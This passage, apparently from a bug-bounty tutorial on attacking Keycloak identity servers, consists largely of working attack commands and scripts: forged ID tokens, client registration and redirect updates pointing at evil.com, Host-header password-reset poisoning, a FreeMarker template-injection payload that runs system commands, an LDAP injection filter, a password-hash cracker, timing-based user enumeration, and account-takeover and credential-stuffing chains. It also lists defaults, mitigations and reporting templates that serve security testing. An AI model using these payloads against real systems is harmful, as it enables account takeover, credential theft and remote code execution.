# 2. Check if the first-broker-login flow has IdpAutoLink enabledcurl -s -H "Authorization: Bearer $ADMIN_TOKEN" \ https://target.com/auth/admin/realms/{realm}/authentication/flows | jq '.[].alias'
# 3. If auto-link is enabled:# a. Create an account on the external IdP with victim's email# b. Login via the IdP# c. Keycloak auto-links the IdP identity to victim's account# d. Account takeover completeidp token forwarding
lab: steal external idp tokens
# If "Store Tokens" is enabled for the IdP, Keycloak stores the external tokens# These can be accessed via the Account REST API
# 1. Authenticate and get Keycloak tokens# 2. Use access token to access Account APIcurl -H "Authorization: Bearer $ACCESS_TOKEN" \ https://target.com/auth/realms/{realm}/account/linked-accounts
# 3. Check if external tokens are accessible# If "Store Token" is on, you may get the external OAuth tokensidp signature bypass
lab: skip signature verification
if the IdP is configured with Validate Signatures: OFF:
# 1. Forge an OIDC ID token from the "external" IdP# 2. Sign it with your own key# 3. Submit it to Keycloak's callback endpoint# 4. Keycloak accepts it without signature verification
# Generate a forged ID tokenpython3 -c "import jwtpayload = { 'sub': 'attacker-external-id', 'email': 'victim@example.com', 'iss': 'https://idp.example.com', 'aud': 'keycloak-client-id', 'exp': 9999999999}token = jwt.encode(payload, 'secret', algorithm='HS256')print(token)"idp callback parameter injection
lab: code/state parameter injection
# The IdP callback endpoint is:# GET /realms/{realm}/broker/{idp_alias}/endpoint
# Parameters received from IdP:# - code: Authorization code# - state: State parameter (must match session)# - session_state: OIDC session state
# If state validation is weak, try:# 1. Replay a previous state value# 2. Modify the state to reference another session# 3. Inject a code from a different IdPfine-grained authorization (uma) attacks
UMA is keycloak’s way of saying “you can access this resource, but only if you have the right permissions.” let’s see if we can talk our way into more access than we should have.
uma overview
keycloak implements User-Managed Access (UMA) 2.0:
- Resource Server: Protects resources, manages permissions
- Authorization Server: Keycloak, evaluates policies
- Requesting Party: Client requesting access
uma protection api
# 1. Create a resourcecurl -X POST "https://target.com/auth/realms/{realm}/authz/protection/resource_set" \ -H "Authorization: Bearer $RPT" \ -d '{"name": "Sensitive Document", "type": "document", "owner": "user-id"}'
# 2. Create a permission ticketcurl -X POST "https://target.com/auth/realms/{realm}/authz/protection/permission" \ -H "Authorization: Bearer $RPT" \ -d '{"resource_id": "resource-id", "resource_scopes": ["read"]}'
# 3. Request RPT with permission ticketcurl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token" \ -d "grant_type=urn:ietf:params:oauth:grant-type:uma-ticket&\ ticket={permission_ticket}&\ client_id={client_id}"uma policy bypass
lab: scope escalation
# 1. Request RPT with minimal scopescurl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token" \ -d "grant_type=urn:ietf:params:oauth:grant-type:uma-ticket&\ ticket={ticket}&\ scope=read"
# 2. If policies are not properly configured, requesting additional scopes# may grant elevated permissionscurl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token" \ -d "grant_type=urn:ietf:params:oauth:grant-type:uma-ticket&\ ticket={ticket}&\ scope=read+write+delete+admin"lab: js policy exploitation
# Keycloak supports JavaScript-based policies# If custom JS policies are deployed, they may have vulnerabilities
# Check policy types via Admin APIcurl -H "Authorization: Bearer $ADMIN_TOKEN" \ https://target.com/auth/admin/realms/{realm}/authorization/policies | jq '.[].config'
# Look for JavaScript policies with eval() or unsafe operationsrpt token abuse
lab: requesting party token introspection
# Introspect an RPT to see all permissionscurl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token/introspect" \ -u "{client_id}:{client_secret}" \ -d "token={RPT}"
# Response includes permissions array with resource_id and scopesuser federation & ldap attacks
keycloak can connect to external user stores like LDAP. it’s convenient, but it also opens up a whole new attack surface.
ldap integration attack surface
# Check if LDAP is configuredcurl -H "Authorization: Bearer $ADMIN_TOKEN" \ https://target.com/auth/admin/realms/{realm}/components?\type=org.keycloak.storage.UserStorageProvider&\parentId={realm-id} | jq '.[].config'ldap attack vectors:
| Vector | Description |
|---|---|
| LDAP Injection | If user search filters include unsanitized input |
| Bind Credentials Exposure | If LDAP bind DN/password is stored in plaintext in config |
| Read-Only Bypass | If LDAP is READ_ONLY, create local accounts with same usernames |
| Unsynchronized Mode | In UNSYNCED mode, local changes may override LDAP data |
| Password Import | If “Import Users” is on, passwords are imported as PBKDF2 hashes |
| Kerberos SPNEGO | SPNEGO authentication may be bypassable if Kerberos is misconfigured |
ldap credential extraction
lab: ldap bind credential access
# LDAP bind credentials are stored in the component configurationcurl -H "Authorization: Bearer $ADMIN_TOKEN" \ https://target.com/auth/admin/realms/{realm}/components?\type=org.keycloak.storage.UserStorageProvider | jq '.[].config'
# Look for: "bindDn", "bindCredential"# If you have admin access, you can read these# The password is stored encrypted, but the encryption key is in the Keycloak configldap injection via user search
lab: filter injection
# Keycloak's user search sends queries to LDAP# If the search filter includes user input without sanitization:
# Normal: (uid=user123)# Injected: *)(objectClass=*)(uid=*
# This could return ALL users in the LDAP directoryadmin console & API attacks
the admin console is the crown jewels. if you can get in here, you own everything.
admin console exposure
lab: check admin console access
# Check if admin console is accessiblecurl -s -o /dev/null -w "%{http_code}" https://target.com/auth/admin/# 200 = accessible, 403 = restricted, 401 = auth required
# Check if admin REST API is accessiblecurl -s -o /dev/null -w "%{http_code}" https://target.com/auth/admin/serverinfo# 401 = requires auth, 200 = open (misconfiguration!)admin api privilege escalation
lab: fine-grained admin permissions (fgap) bypass
# Check if FGAP is configuredcurl -H "Authorization: Bearer $ADMIN_TOKEN" \ https://target.com/auth/admin/realms/master/components?\type=org.keycloak.authentication.RequiredActionProvider | jq '.[] | select(.name == "fgap")'
# Test if delegated admin can access unauthorized resources# Delegated admin has restricted permissions via FGAP# Try accessing resources outside their granted scopelab: admin event injection
# Admin events may contain user-controlled data# If event listeners process URLs or user data without sanitizationcurl -H "Authorization: Bearer $ADMIN_TOKEN" \ https://target.com/auth/admin/realms/{realm}/events | jq '.[] | select(.resourceType == "USER")'bootstrap admin exploitation
lab: bootstrap admin default credentials
# Bootstrap admin is created during initial master realm setup# Default username: temp-admin# Default expiration: 120 minutes
# If you find a Keycloak instance with:# - Bootstrap admin enabled# - Default or weak credentials# You can gain full admin access
# Check if bootstrap admin is active# Look for: /auth/admin/ with temp-admin useradmin rest api v2
# Admin API v2 introduces new endpoints# Check for new features that may have misconfigurations
curl -H "Authorization: Bearer $ADMIN_TOKEN" \ https://target.com/auth/admin/realms | jq '.[].realm'client registration & policy bypass
dynamic client registration is a feature that lets you register new clients on the fly. it’s convenient for developers, and it’s a goldmine for attackers.
dynamic client registration
lab: oidc dynamic client registration (rfc 7591)
# Check if dynamic registration is enabledcurl https://target.com/auth/realms/{realm}/.well-known/openid-configuration | \ jq '.registration_endpoint'
# If enabled, register a clientcurl -X POST "https://target.com/auth/realms/{realm}/clients-registrations/openid-connect" \ -H "Content-Type: application/json" \ -d '{ "redirect_uris": ["https://evil.com/callback"], "grant_types": ["authorization_code", "password", "client_credentials"], "response_types": ["code"] }'
# Response includes: client_id, client_secret# Now you have a client with ROPC and client_credentials enabledattack: dynamic registration without policies allows:
- Registration of clients with dangerous grant types (ROPC, client_credentials)
- Registration with overly broad redirect URIs
- Registration with access to offline_access scope
client policy bypass
lab: testing client policy enforcement
# Check client policiescurl -H "Authorization: Bearer $ADMIN_TOKEN" \ https://target.com/auth/admin/realms/{realm}/client-policies | jq '.policies'
# Test each executor:# 1. PKCEEnforcerExecutor - Try auth without code_challenge# 2. RejectImplicitGrantExecutor - Try implicit flow# 3. RejectResourceOwnerPasswordCredentialsGrantExecutor - Try ROPC# 4. SecureRedirectUrisEnforcerExecutor - Try unregistered redirect URIs# 5. SecureSigningAlgorithmExecutor - Try weak algorithms# 6. DPoPBindEnforcerExecutor - Try without DPoP proof# 7. HolderOfKeyEnforceExecutor - Try without mTLS certificateregistration access token abuse
# Registration access tokens allow clients to update their own configuration# If you compromise a registration access token, you can:# 1. Modify the client's redirect URIs# 2. Change the client's grant types# 3. Add dangerous scopes# 4. Change the client's authentication method
# Test: Can you register a client and then modify it via the registration access token?curl -X PUT "https://target.com/auth/realms/{realm}/clients-registrations/openid-connect/{client_id}" \ -H "Authorization: Bearer $REGISTRATION_ACCESS_TOKEN" \ -d '{"redirect_uris": ["https://evil.com/callback"]}'token exchange exploitation
token exchange is keycloak’s way of letting one service act as another. it’s powerful, and it can be dangerous if misconfigured.
standard token exchange (v2)
lab: internal token exchange
# Standard exchange: convert an access token for one client to anothercurl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token" \ -d "grant_type=urn:ietf:params:oauth:grant-type:token-exchange&\ subject_token={ACCESS_TOKEN}&\ subject_token_type=urn:ietf:params:oauth:token-type:access_token&\ audience=target-client&\ requested_token_type=urn:ietf:params:oauth:token-type:access_token&\ client_id={client_id}&\ client_secret={secret}"
# V2 only supports internal-to-internal exchange# The subject_token must be a Keycloak-issued access tokenattack vectors:
- Scope escalation: request broader scopes than the original token had
- Audience escalation: exchange token for access to a different service
- Token impersonation: if V1 (legacy) is enabled, external tokens can be exchanged
legacy token exchange (v1)
lab: external token exchange
# V1 allows external tokens as subject_token# This means tokens from other OAuth servers can be exchanged
curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token" \ -d "grant_type=urn:ietf:params:oauth:grant-type:token-exchange&\ subject_token={EXTERNAL_TOKEN}&\ subject_token_type=urn:ietf:params:oauth:token-type:access_token&\ audience=target-client&\ client_id={client_id}&\ client_secret={secret}"
# If the IdP doesn't validate the external token properly,# this could allow unauthorized token exchangeaudience manipulation
# The audience parameter filters what the token is valid for# Test: Can you request tokens for audiences you shouldn't have access to?
curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token" \ -d "grant_type=client_credentials&\ client_id={client_id}&\ client_secret={secret}&\ audience=admin-api"cookie & session management attacks
cookies are how keycloak keeps track of who you are. let’s look at how they work and how they can fail.
cookie scope analysis
| Cookie | Name | Scope | SameSite | HttpOnly | Secure |
|---|---|---|---|---|---|
| Identity | KEYCLOAK_IDENTITY | FEDERATION | None (requires HTTPS) | Yes | Yes (if HTTPS) |
| Session | KEYCLOAK_SESSION | FEDERATION_JS | None (requires HTTPS) | No | Yes (if HTTPS) |
| Auth Session | AUTH_SESSION_ID | FEDERATION | None (requires HTTPS) | Yes | Yes (if HTTPS) |
| State Checker | AUTH_DETACHED | INTERNAL | Strict | Yes | Yes (if HTTPS) |
| Restart | AUTH_RESTART | FEDERATION | None (requires HTTPS) | Yes | Yes (if HTTPS) |
| Welcome CSRF | WELCOME_STATE_CHECKER | INTERNAL | Strict | Yes | Yes (if HTTPS) |
key: FEDERATION_JS means JavaScript-accessible (no HttpOnly). this is used for iframe status checks.
cookie downgrade attack
lab: samesite downgrade
# If a cookie has SameSite=None but the context is NOT secure (HTTP):# Keycloak DOWNGRADES it to SameSite=Lax
# This prevents cross-origin cookie theft over HTTP# But if the attacker can force HTTPS:# 1. The cookie is sent with SameSite=None# 2. The cookie is HttpOnly=false (KEYCLOAK_SESSION)# 3. JavaScript in an attacker-controlled page can read it
# Test: Access the target over HTTPcurl -v http://target.com/auth/realms/{realm}/protocol/openid-connect/auth?... 2>&1 | grep -i "set-cookie"# If SameSite=Lax instead of None, the downgrade is workingsession state in keycloak_session
lab: session state leakage
# The KEYCLOAK_SESSION cookie is JavaScript-accessible (HttpOnly=false)# It contains: {realm}/{session_id}/{client_id}/{tab_id}# An attacker with XSS can read this cookie
# The iframe-based session checking sends:# GET /auth/realms/{realm}/protocol/openid-connect/login-status-iframe.html# This checks if the user is still authenticated# The response reveals session state informationpassword policy & enforcement bypass
keycloak has password policies, but they’re only as good as their configuration. and spoiler alert: the defaults are not great.
default password policy
# Check realm password policycurl -H "Authorization: Bearer $ADMIN_TOKEN" \ https://target.com/auth/admin/realms/{realm} | jq '.passwordPolicy'
# Default: NONE (no password policy)# Available policies:# - length (min length)# - digits (min digits)# - uppercase (min uppercase)# - lowercase (min lowercase)# - specialChars (min special chars)# - notUsername (password can't be username)# - passwordHistory (can't reuse recent passwords)# - passwordBlacklist (denylist check)# - forced-per-change (force password change on login)# - MaximumAge (password expires after N days)password blacklist bypass
# Keycloak supports password denylists (bloom filter or file-based)# Default path: $KC_HOME/data/password-blacklists/
# Test: Try commonly breached passwords# The denylist is case-insensitive and checks against the exact password# If the denylist is not loaded, all passwords are acceptedpassword hashing algorithms
| Algorithm | Iterations | Key |
|---|---|---|
| PBKDF2-SHA512 | 210,000 | Default |
| PBKDF2-SHA256 | 27,500 | Alternative |
| Argon2 | Configurable | Memory-hard |
| BCrypt | Configurable | Via BC FIPS |
attack: if you can extract password hashes (e.g., from H2 database or LDAP), the hash algorithm determines offline cracking difficulty.
event system & information leakage
keycloak logs a lot of events. sometimes too many events. let’s see what we can learn from them.
login event logging
# Login events are logged per realmcurl -H "Authorization: Bearer $ADMIN_TOKEN" \ https://target.com/auth/admin/realms/{realm}/events | jq '.[]'
# Key event types:# - LOGIN (success)# - LOGIN_ERROR (failure - includes error type, IP, user agent)# - REGISTER (new user)# - LOGOUT# - REFRESH_TOKEN# - SEND_VERIFY_EMAIL# - SEND_RESET_PASSWORD# - RESET_PASSWORD# - USER_DISABLED_BY_TEMPORARY_LOCKOUT# - USER_DISABLED_BY_PERMANENT_LOCKOUTattack: login events may reveal:
- Usernames of valid accounts (via REGISTER events)
- IP addresses of legitimate users (via LOGIN events)
- Error patterns that indicate whether an account exists
admin event logging
# Admin events log all administrative actionscurl -H "Authorization: Bearer $ADMIN_TOKEN" \ https://target.com/auth/admin/realms/{realm}/admin-events | jq '.[]'
# Admin events reveal:# - All configuration changes# - User creation/modification# - Client registration changes# - Role assignments# - Admin IP addresses and user agentsclickjacking & browser security header bypass
keycloak sets security headers on its responses. let’s see which ones are actually protecting you.
default security headers
keycloak sets these headers per realm:
| Header | Default | Attack |
|---|---|---|
X-Frame-Options | SAMEORIGIN | Clickjacking if changed to ALLOWALL |
Content-Security-Policy | frame-ancestors 'self' | CSP bypass if misconfigured |
X-Content-Type-Options | nosniff | MIME sniffing if removed |
Strict-Transport-Security | max-age=31536000; includeSubDomains | Missing preload |
Referrer-Policy | no-referrer | Referer leakage if changed |
X-Robots-Tag | none | SEO/OSINT if removed |
lab: security header test
curl -s -D- https://target.com/auth/realms/{realm}/.well-known/openid-configuration | grep -i "x-frame\|content-security\|strict-transport\|x-content-type\|referrer-policy"x-frame-options bypass
lab: iframe embedding
<!-- If X-Frame-Options is missing or ALLOWALL, embed the login page --><iframe src="https://target.com/auth/realms/{realm}/protocol/openid-connect/auth?\client_id={client_id}&\redirect_uri=https://evil.com/callback&\response_type=code&\scope=openid&\state=ATTACKER_STATE"></iframe>content security policy bypass
# Check CSP headercurl -s -D- https://target.com/auth/realms/{realm}/account | grep -i "content-security-policy"
# CSP should include:# frame-ancestors 'self'# script-src 'self'# style-src 'self' 'unsafe-inline' (Keycloak allows inline styles for themes)host header attacks
the host header is one of those things that developers forget about until it becomes a problem. keycloak has some interesting host header issues.
host header injection
lab: password reset poisoning
# Keycloak uses the public hostname in:# - Token issuer (iss claim)# - Password reset emails# - Redirect URIs# - Email content
# If hostname-strict=false (dev mode default), the hostname is taken from the request Host headercurl -H "Host: evil.com" https://target.com/auth/realms/{realm}/protocol/openid-connect/auth?...
# The password reset email will contain: https://evil.com/auth/realms/{realm}/login-actions/reset-credentials?...mitigation: set hostname-strict=true in production (default in production mode).
hostname debug page
# If hostname-debug=true (should be false in production):curl https://target.com/auth/realms/master/hostname-debug
# This page reveals:# - Current hostname configuration# - Frontend URL# - Backend URL# - CORS test resultstheme & ui customization attacks
keycloak themes use FreeMarker templates. and if user input reaches those templates, we have SSTI.
freemarker template injection (ssti)
lab: theme ssti
# Keycloak themes use FreeMarker templates# If a custom theme allows user input in templates:
# Attack payload:${product.version}${.now?string("yyyy-MM-dd")}${.data_model?keys?join(",")}
# More dangerous:<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
# Or via ObjectConstructor:<#assign classloader=object.class.protectionDomain.classLoader><#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>attack: if user input reaches FreeMarker template rendering (e.g., in custom login forms), RCE is possible. that’s a big deal.
source map disclosure
# Keycloak blocks .js.map files in production via RejectSourceMapFilter# But check if custom themes expose source mapscurl https://target.com/auth/resources/{theme}/login/account/js/custom-theme.js.map
# If accessible, reveals:# - Theme source code# - Custom business logic# - Potential hardcoded secretstheme resource inclusion
# Themes can include remote resources# Check for SSRF via theme resourcescurl -H "Authorization: Bearer $ADMIN_TOKEN" \ https://target.com/auth/admin/realms/{realm}/... | grep -i "theme"
# If themes load remote CSS/JS, they can be used for:# - Tracking users# - Injecting malicious scripts# - Exfiltrating datacryptographic weaknesses
keycloak uses cryptography to protect tokens and sessions. let’s see where it might be weak.
token signing key exposure
lab: jwks key rotation testing
# Fetch current signing keyscurl https://target.com/auth/realms/{realm}/protocol/openid-connect/certs | jq '.keys[] | {kid, alg, kty, use}'
# Check key rotation:# 1. Get current kid# 2. Wait for rotation# 3. Verify old tokens are rejected
# Key types:# RS256/RS384/RS512 - RSA public keys# ES256/ES384/ES512 - ECDSA public keys# PS256/PS384/PS512 - RSA-PSS public keysinternal token secret
# Internal tokens use HS512 with a server-side secret# If this secret is compromised, all internal tokens can be forged
# Internal tokens include:# - KEYCLOAK_IDENTITY cookie JWT# - State checker tokens# - Action tokens# - Authentication session tokens
# The secret is derived from the server configuration and should never be exposedpassword hash cracking
# If you extract password hashes from Keycloak:# Format: PBKDF2-HMAC-SHA512:210000:BASE64_SALT:BASE64_HASH
import hashlib, base64
def crack_pbkdf2(hash_str, wordlist): parts = hash_str.split(":") iterations = int(parts[1]) salt = base64.b64decode(parts[2]) stored_hash = base64.b64decode(parts[3])
for word in wordlist: dk = hashlib.pbkdf2_hmac('sha512', word.encode(), salt, iterations) if dk == stored_hash: return word return Noneside-channel & timing attacks
sometimes the fastest way to find a user is to measure how long the server takes to respond.
user enumeration via timing
import timeimport requests
# Time-based user enumerationusers = ["admin", "user1", "nonexistent999"]for user in users: start = time.time() requests.post(f"https://target.com/auth/realms/{realm}/protocol/openid-connect/token", data={ "grant_type": "password", "username": user, "password": "wrong_password", "client_id": "account-console" }) elapsed = time.time() - start print(f"{user}: {elapsed:.3f}s")
# Existing users may take longer due to:# 1. Password hash comparison# 2. LDAP bind attempt# 3. Brute force checkerror message differentiation
# Different error messages for different failure modes:# - "Invalid user credentials" - wrong password for existing user# - "Account disabled" - account is disabled# - "Account not verified" - email not verified# - "Too many login failures" - brute force lockout
# These different messages enable user enumerationsession & token lifecycle attacks
tokens and sessions have lifetimes. let’s see what happens when they expire, and what happens when they don’t.
default timeout values
| Setting | Default | Seconds |
|---|---|---|
| SSO Session Idle | 30 minutes | 1800 |
| SSO Session Max | 10 hours | 36000 |
| Access Token Lifespan | 5 minutes | 300 |
| Access Token (Implicit) | 15 minutes | 900 |
| Offline Session Idle | 30 days | 2592000 |
| Offline Session Max | 60 days | 5184000 |
| Auth Code Lifespan | 1 minute | 60 |
| Auth Code (Login) | 30 minutes | 1800 |
| Auth Code (User Action) | 5 minutes | 300 |
| Action Token (Admin) | 12 hours | 43200 |
token replay after session revocation
# 1. Get tokens for a user# 2. Revoke the user's session via Admin APIcurl -X DELETE "https://target.com/auth/admin/realms/{realm}/sessions/{session_id}" \ -H "Authorization: Bearer $ADMIN_TOKEN"
# 3. Test if the access token still works# The access token is valid until expiry even if the session is revoked# Only refresh tokens are invalidated on session revocation
# Keycloak pushes a "not-before" policy to invalidate old tokens# But this requires manual admin actionoffline token abuse
# Offline tokens bypass session idle timeout# They persist for 60 days by default (offline_session_max_lifespan)
# 1. Request offline tokencurl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token" \ -d "grant_type=authorization_code&\ code={CODE}&\ redirect_uri={URI}&\ client_id={CLIENT_ID}&\ scope=openid+offline_access"
# 2. The refresh_token in the response has type=offline# 3. Use it to get new access tokens indefinitely (until offline_session_max_lifespan)account takeover chains
this is where we tie everything together. here are five different ways to take over an account in keycloak.
full account takeover chain
Chain 1: Registration → Email → Password Reset → Account Takeover1. Find realm with self-registration enabled2. Register with victim's email (if email verification disabled)3. Use account to access victim's resources
Chain 2: IdP → Auto-Link → Account Takeover1. Find realm with IdP + auto-link enabled2. Create IdP account with victim's email3. Login via IdP → auto-links to victim's account
Chain 3: ROPC → Credentials → Session1. Find client with ROPC enabled2. Use known credentials (from breach databases)3. Get tokens via ROPC grant
Chain 4: Brute Force → Password Guess → Account Access1. Verify brute force protection is disabled (default)2. Perform credential stuffing attack3. Access account with guessed password
Chain 5: Token Theft → Refresh Token → Persistent Access1. Find XSS in application consuming Keycloak tokens2. Steal KEYCLOAK_SESSION cookie (HttpOnly=false)3. Extract session_id from cookie4. Use session to get new tokensaccount link/unlink attacks
lab: unlinking social accounts
# Unlink a social accountcurl -X DELETE "https://target.com/auth/realms/{realm}/account/linked-accounts/{provider}" \ -H "Authorization: Bearer $ACCESS_TOKEN"
# Rules:# 1. User must have a password configured (can't unlink last auth method)# 2. Only social providers can be unlinked# 3. Event: IDENTITY_PROVIDER_REMOVE_FEDERATED_IDENTITY is emitted
# Attack: If you can force unlinking, the user loses access via the IdP# Then you can link a different IdP accountmulti-tenancy & realm isolation
keycloak supports multiple realms, each supposedly isolated from each other. let’s verify that.
realm isolation testing
# Test if realms are properly isolated# 1. Get a token for realm ATOKEN_A=$(curl -X POST "https://target.com/auth/realms/realm-a/protocol/openid-connect/token" \ -d "grant_type=password&client_id=...&username=...&password=...")
# 2. Try to use it against realm Bcurl -H "Authorization: Bearer $TOKEN_A" \ https://target.com/auth/admin/realms/realm-b/users# Should return 403 or 401
# 3. Check token issuer validationcurl https://target.com/auth/realms/realm-b/protocol/openid-connect/userinfo \ -H "Authorization: Bearer $TOKEN_A"# Should reject the token (wrong issuer)master realm admin access
# The master realm has full control over all other realms# Admin accounts in the master realm can:# - View and manage any realm# - Create/delete realms# - Access all admin APIs# - Modify any user in any realm
# Attack: If you compromise a master realm admin, you own everythingcross-realm role mapping
# Roles are realm-scoped# A user in realm A cannot have roles from realm B# But composite roles may cross realm boundaries
# Test: Can a user with realm-admin role in realm A access realm B?curl -H "Authorization: Bearer $REALM_A_ADMIN_TOKEN" \ https://target.com/auth/admin/realms/realm-b/userssupply chain & configuration drift
keycloak has a lot of dependencies. some of them have CVEs. and the configuration can drift over time.
dependency vulnerabilities
# Check for known CVEs in the Keycloak version# https://repology.org/project/keycloak/cves
# Keycloak CVE examples:# CVE-2020-1697: Open redirect in authorization endpoint# CVE-2020-1718: Account console XSS# CVE-2020-1715: User injection via LDAP# CVE-2021-20250: Insecure deserialization# CVE-2022-4361: Account console XSS# CVE-2023-0103: OIDC request smuggling# CVE-2023-48795: SSH prefix truncation attack (Terrapin)# CVE-2024-25710: DoS via XML parsing# CVE-2024-27131: Unsafe deserializationconfiguration drift detection
# Export current realm configurationcurl -H "Authorization: Bearer $ADMIN_TOKEN" \ https://target.com/auth/admin/realms/{realm} > realm_config.json
# Compare against expected configurationdiff expected_realm.json realm_config.json
# Key settings to monitor:# - bruteForceProtected (should be true)# - sslRequired (should be 'all')# - registrationAllowed (should be false)# - resetPasswordAllowed (should be true only if needed)# - editUsernameAllowed (should be false)# - passwordPolicy (should be set)advanced attack chains
this is where we chain multiple vulnerabilities together. these are the chains that lead to full compromise.
chain: ssrf → internal token theft → admin access
1. Find a client with misconfigured JWKS URI2. Point JWKS URI to internal metadata endpoint3. Trigger token request to cause SSRF4. From SSRF response, extract internal signing keys5. Forge internal tokens (session cookies)6. Use forged session to access admin console
chain: ropc → credential stuffing → mass account takeover
1. Verify ROPC is enabled (default for many clients)2. Verify brute force protection is disabled (default)3. Use credential database to stuff accounts4. For each successful login, get tokens5. Use tokens to access Account API6. Change password/email to lock out original userchain: open redirect → code theft → token exchange
1. Find client with wildcard redirect URI2. Register malicious subdomain3. Intercept authorization code4. Exchange code for tokens5. Use token exchange to get access to other serviceschain: idp misconfiguration → account takeover
1. Find realm with external IdP (e.g., GitHub)2. Verify IdP signature validation is disabled3. Create account on external IdP with victim's email4. Login via IdP → Keycloak creates new account5. OR: If auto-link is enabled, links to victim's account6. Access victim's Keycloak accountchain: cookie theft → session hijack → lateral movement
1. Find XSS in application consuming Keycloak tokens2. Read KEYCLOAK_SESSION cookie (HttpOnly=false)3. Extract session_id, client_id, tab_id from cookie4. Craft forged KEYCLOAK_SESSION cookie5. Use to authenticate as victim6. Move laterally to all applications in the SSO session
bug bounty reporting templates
here are some templates i use when reporting keycloak findings. yours should be structured similarly.
misconfiguration reports
## Title: [SEVERITY] Keycloak Misconfiguration - [ISSUE]
### Summary[One-line description]
### Affected Component- Keycloak Version: [version]- Configuration: [relevant settings]
### Steps to Reproduce1. [Step 1]2. [Step 2]...
### Impact[What an attacker can achieve]
### Evidence[HTTP requests/responses, screenshots]
### Remediation[Specific configuration change]vulnerability reports
## Title: [SEVERITY] [VULNERABILITY TYPE] in Keycloak [COMPONENT]
### Summary[One-line description]
### Vulnerability Details- Type: [e.g., IDOR, XSS, SSRF]- Component: [e.g., Token Endpoint, Admin API]- Prerequisites: [What access is needed]
### Steps to Reproduce1. [Step 1 with exact HTTP requests]2. [Step 2]...
### Proof of Concept[Minimal reproducible example]
### Impact[Authentication bypass, privilege escalation, data exposure]
### CVSS Assessment- Attack Vector: [Network/Adjacent/Local/Physical]- Attack Complexity: [Low/High]- Privileges Required: [None/Low/High]- User Interaction: [None/Required]- Scope: [Unchanged/Changed]- Confidentiality: [None/Low/High]- Integrity: [None/Low/High]- Availability: [None/Low/High]
### Remediation[Specific fix recommendations]quick reference cheat sheet
i keep this open in a tab while i’m testing. it’s a lot of endpoints and defaults, but it’s all useful.
endpoints
Realm Info: /auth/realms/{realm}/OIDC Discovery: /auth/realms/{realm}/.well-known/openid-configurationJWKS: /auth/realms/{realm}/protocol/openid-connect/certsAuthorization: /auth/realms/{realm}/protocol/openid-connect/authToken: /auth/realms/{realm}/protocol/openid-connect/tokenUserInfo: /auth/realms/{realm}/protocol/openid-connect/userinfoIntrospection: /auth/realms/{realm}/protocol/openid-connect/token/introspectRevocation: /auth/realms/{realm}/protocol/openid-connect/revokeLogout: /auth/realms/{realm}/protocol/openid-connect/logoutDevice Auth: /auth/realms/{realm}/protocol/openid-connect/auth/deviceCIBA: /auth/realms/{realm}/protocol/openid-connect/ext/ciba/backchannelPAR: /auth/realms/{realm}/protocol/openid-connect/ext/par/requestRegistration: /auth/realms/{realm}/clients-registrations/openid-connectSAML Descriptor: /auth/realms/{realm}/protocol/saml/descriptorAdmin Console: /auth/admin/Admin API: /auth/admin/realms/Account Console: /auth/realms/{realm}/account/IdP Broker: /auth/realms/{realm}/broker/{alias}/endpointLogin Actions: /auth/realms/{realm}/login-actions/{action}admin api quick commands
# Get all realmscurl -H "Authorization: Bearer $TOKEN" https://target.com/auth/admin/realms
# Get realm detailscurl -H "Authorization: Bearer $TOKEN" https://target.com/auth/admin/realms/{realm}
# Get all userscurl -H "Authorization: Bearer $TOKEN" https://target.com/auth/admin/realms/{realm}/users
# Get user detailscurl -H "Authorization: Bearer $TOKEN" https://target.com/auth/admin/realms/{realm}/users/{user-id}
# Get all clientscurl -H "Authorization: Bearer $TOKEN" https://target.com/auth/admin/realms/{realm}/clients
# Get client detailscurl -H "Authorization: Bearer $TOKEN" https://target.com/auth/admin/realms/{realm}/clients/{client-uuid}
# Get identity providerscurl -H "Authorization: Bearer $TOKEN" https://target.com/auth/admin/realms/{realm}/identity-providers
# Get authentication flowscurl -H "Authorization: Bearer $TOKEN" https://target.com/auth/admin/realms/{realm}/authentication/flows
# Get eventscurl -H "Authorization: Bearer $TOKEN" https://target.com/auth/admin/realms/{realm}/events
# Get server infocurl -H "Authorization: Bearer $TOKEN" https://target.com/auth/admin/serverinfo
# Get components (user storage, etc.)curl -H "Authorization: Bearer $TOKEN" https://target.com/auth/admin/realms/{realm}/componentscommon jwt payloads
// Keycloak access token with realm roles{ "exp": 1234567890, "iat": 1234567800, "auth_time": 1234567800, "jti": "uuid", "iss": "https://target.com/auth/realms/myrealm", "sub": "user-uuid", "typ": "Bearer", "azp": "client-id", "session_state": "session-uuid", "acr": "1", "allowed-origins": ["https://app.example.com"], "realm_access": { "roles": ["user", "admin"] }, "resource_access": { "client-id": { "roles": ["role1", "role2"] } }, "scope": "openid email profile", "email_verified": true, "name": "John Doe", "preferred_username": "johndoe", "email": "john@example.com"}key default values to check
| Setting | Default | Should Be |
|---|---|---|
bruteForceProtected | false | true |
sslRequired | external (or none in dev) | all |
registrationAllowed | false | false |
verifyEmail | false | true |
editUsernameAllowed | false | false |
passwordPolicy | null | Set appropriate policy |
accessTokenLifespan | 300 (5min) | Consider shorter |
ssoSessionIdleTimeout | 1800 (30min) | Depends on use case |
offlineSessionIdleTimeout | 2592000 (30 days) | Consider restricting |
hostnameStrict | true (prod) | true |
signatureAlgorithm | RS256 | Consider ES256 or PS256 |
scopes and claims quick reference
| Scope | Claims Included |
|---|---|
openid | sub |
profile | name, family_name, given_name, preferred_username, profile, picture, website, gender, birthdate, zoneinfo, locale, updated_at |
email | email, email_verified |
address | address (structured) |
phone | phone_number, phone_number_verified |
offline_access | Offline refresh tokens |
uma_authorization | UMA permission tickets |
web-origins | Allowed CORS origins |
role_list | Role mappings |
appendix a: cve reference table
| CVE | Year | Type | Component |
|---|---|---|---|
| CVE-2020-1697 | 2020 | Open Redirect | Authorization Endpoint |
| CVE-2020-1718 | 2020 | XSS | Account Console |
| CVE-2020-1715 | 2020 | User Injection | LDAP Federation |
| CVE-2021-20250 | 2021 | Deserialization | Various |
| CVE-2022-4361 | 2022 | XSS | Account Console |
| CVE-2023-0103 | 2023 | Request Smuggling | OIDC |
